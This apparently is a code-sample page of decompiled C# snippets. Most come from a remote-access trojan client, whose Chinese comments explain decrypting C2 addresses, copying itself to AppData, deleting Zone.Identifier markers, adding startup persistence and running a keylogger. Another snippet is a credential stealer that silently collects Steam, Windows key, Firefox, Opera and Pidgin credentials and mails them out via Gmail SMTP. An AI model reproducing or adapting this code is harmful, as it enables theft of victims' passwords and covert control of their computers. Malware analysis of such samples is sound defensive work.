예제 #1
0
 // Token: 0x06000135 RID: 309 RVA: 0x00002923 File Offset: 0x00000B23
 public GClass2()
 {
     GClass2.smethod_2(this, GClass2.smethod_1(new GClass2.GClass3()));
     GClass2.smethod_3(this, false);
     GClass2.smethod_4(this, Color.White);
     GClass2.smethod_6(this, GClass2.smethod_5("Segoe UI", 8f));
 }
예제 #2
0
 // Token: 0x060005BB RID: 1467
 private static void smethod_2()
 {
     //判断判断互斥体是否多开,有则失去连接,并且返回
     if (!GClass2.smethod_0(GClass35.string_6))
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //解密Key
     GClass18.smethod_0(GClass35.string_2);
     //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线)
     Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
     //解密远程文件下载路径 %AppData%/Subdir/client.exe
     GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
     //geoip信息获取ip地理位置国家等信息
     GClass34.smethod_0();
     //判断上线地址是否失败
     if (Class10.gclass25_0.IsEmpty)
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //删除当前目录下的后缀为:Zone.Identifier
     GClass4.smethod_2(GClass0.CurrentPath);
     //判断当前目录是否是下载目录如果不是则进入
     if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
     {
         //互斥体存在则关闭
         GClass2.smethod_1();
         //运行下载路径的文件
         GClass13.smethod_0(Class10.client_0);
         return;
     }
     //用户状态更新线程 五秒更新一次
     GClass3.smethod_2();
     //添加程序到用户启动项
     if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
     {
         GClass0.AddToStartupFailed = true;
     }
     //添加并初始化实体类
     Class10.smethod_1();
     if (GClass35.bool_3)
     {
         if (Class10.threadStart_0 == null)
         {
             Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
         }
         new Thread(Class10.threadStart_0).Start();
         return;
     }
 }
예제 #3
0
 // Token: 0x060005B9 RID: 1465
 private static void smethod_0()
 {
     GClass17.smethod_29();
     if (GClass17.unsafeStreamCodec_0 != null)
     {
         GClass17.unsafeStreamCodec_0.Dispose();
     }
     if (Keylogger.Instance != null)
     {
         Keylogger.Instance.Dispose();
     }
     if (Class10.applicationContext_0 != null)
     {
         Class10.applicationContext_0.ExitThread();
     }
     GClass2.smethod_1();
 }
예제 #4
0
    // Token: 0x06000071 RID: 113 RVA: 0x00004590 File Offset: 0x00002790
    private void Form1_Load(object sender, EventArgs e)
    {
        Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe";
        string text = this.method_0();

        string[] array = text.Split(new char[]
        {
            '^'
        });
        string text2    = this.method_3(array[0], "Deceptiveisgay", true);
        string password = this.method_3(array[1], "Deceptiveisgay", true);
        string left     = array[2];

        if (Operators.CompareString(left, "1", false) == 0)
        {
            try
            {
                this.method_4();
            }
            catch (Exception ex)
            {
            }
        }
        TextBox textBox = this.TextBox1;

        textBox.Text = textBox.Text + ">>>>>>>>>>Steam<<<<<<<<<<" + Environment.NewLine;
        try
        {
            textBox      = this.TextBox1;
            textBox.Text = textBox.Text + "Username: "******"\r\n";
        textBox       = this.TextBox1;
        textBox.Text += "\r\n";
        textBox       = this.TextBox1;
        textBox.Text  = textBox.Text + ">>>>>>>>>>Windows Key<<<<<<<<<<" + Environment.NewLine;
        textBox       = this.TextBox1;
        textBox.Text += Class9.smethod_0();
        textBox       = this.TextBox1;
        textBox.Text += "\r\n";
        try
        {
            this.method_6();
        }
        catch (Exception ex3)
        {
        }
        textBox            = this.TextBox1;
        textBox.Text      += "\r\n";
        this.TextBox1.Text = this.TextBox1.Text + Environment.NewLine + ">>>>>>>>>>FireFox<<<<<<<<<<";
        try
        {
            this.method_5();
        }
        catch (Exception ex4)
        {
        }
        try
        {
            Class4.smethod_0();
        }
        catch (Exception ex5)
        {
        }
        textBox       = this.TextBox1;
        textBox.Text += "\r\n";
        textBox       = this.TextBox1;
        textBox.Text  = textBox.Text + ">>>>>>>>>>Opera<<<<<<<<<<" + Environment.NewLine;
        try
        {
            GClass1 gclass = new GClass1();
            gclass.method_0();
        }
        catch (Exception ex6)
        {
        }
        textBox       = this.TextBox1;
        textBox.Text += "\r\n";
        textBox       = this.TextBox1;
        textBox.Text  = textBox.Text + ">>>>>>>>>>Pidgin<<<<<<<<<<" + Environment.NewLine;
        try
        {
            textBox      = this.TextBox1;
            textBox.Text = Conversions.ToString(Operators.AddObject(textBox.Text, GClass2.smethod_1()));
        }
        catch (Exception ex7)
        {
        }
        textBox       = this.TextBox1;
        textBox.Text += "\r\n";
        this.Visible  = false;
        this.Hide();
        this.ShowInTaskbar = false;
        MailMessage mailMessage = new MailMessage();
        SmtpClient  smtpClient  = new SmtpClient();

        smtpClient.Credentials = new NetworkCredential(text2, password);
        smtpClient.Port        = 587;
        smtpClient.Host        = "smtp.gmail.com";
        smtpClient.EnableSsl   = true;
        mailMessage            = new MailMessage();
        try
        {
            mailMessage.To.Add(text2);
            mailMessage.From    = new MailAddress("*****@*****.**", "New Logs Received!", Encoding.UTF8);
            mailMessage.Subject = Class1.Class0_0.Name + "   " + Conversions.ToString(DateTime.Now) + ":";
            mailMessage.Body    = this.TextBox1.Text;
            mailMessage.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure;
            smtpClient.Send(mailMessage);
        }
        catch (Exception ex8)
        {
        }
        Application.Exit();
    }